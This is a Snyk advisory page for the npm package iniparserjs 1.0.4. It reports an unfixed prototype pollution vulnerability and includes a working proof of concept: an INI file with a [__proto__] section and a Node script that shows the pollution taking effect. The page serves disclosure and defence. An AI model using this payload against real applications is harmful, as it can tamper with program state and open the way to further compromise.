Homepage
About Snyk

iniparserjs@1.0.4 vulnerabilities

ini风格配置文件解析

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the iniparserjs package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

iniparserjs is an ini style file parser for node

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates when ini_parser.js is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

Test.ini

 [__proto__]

polluted = vulnerable

 PoC.js

var path = require("path")
var IniParser = require("iniparserjs")
console.log('Before:', {}.polluted);
var config = new IniParser(path.join(__dirname, "test.ini"), "UTF8")
var sections = config.sections()
console.log(sections);
var keysOfSection1 = config.keysOfSection("section1")
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for iniparserjs.

*
Go back to all versions of this package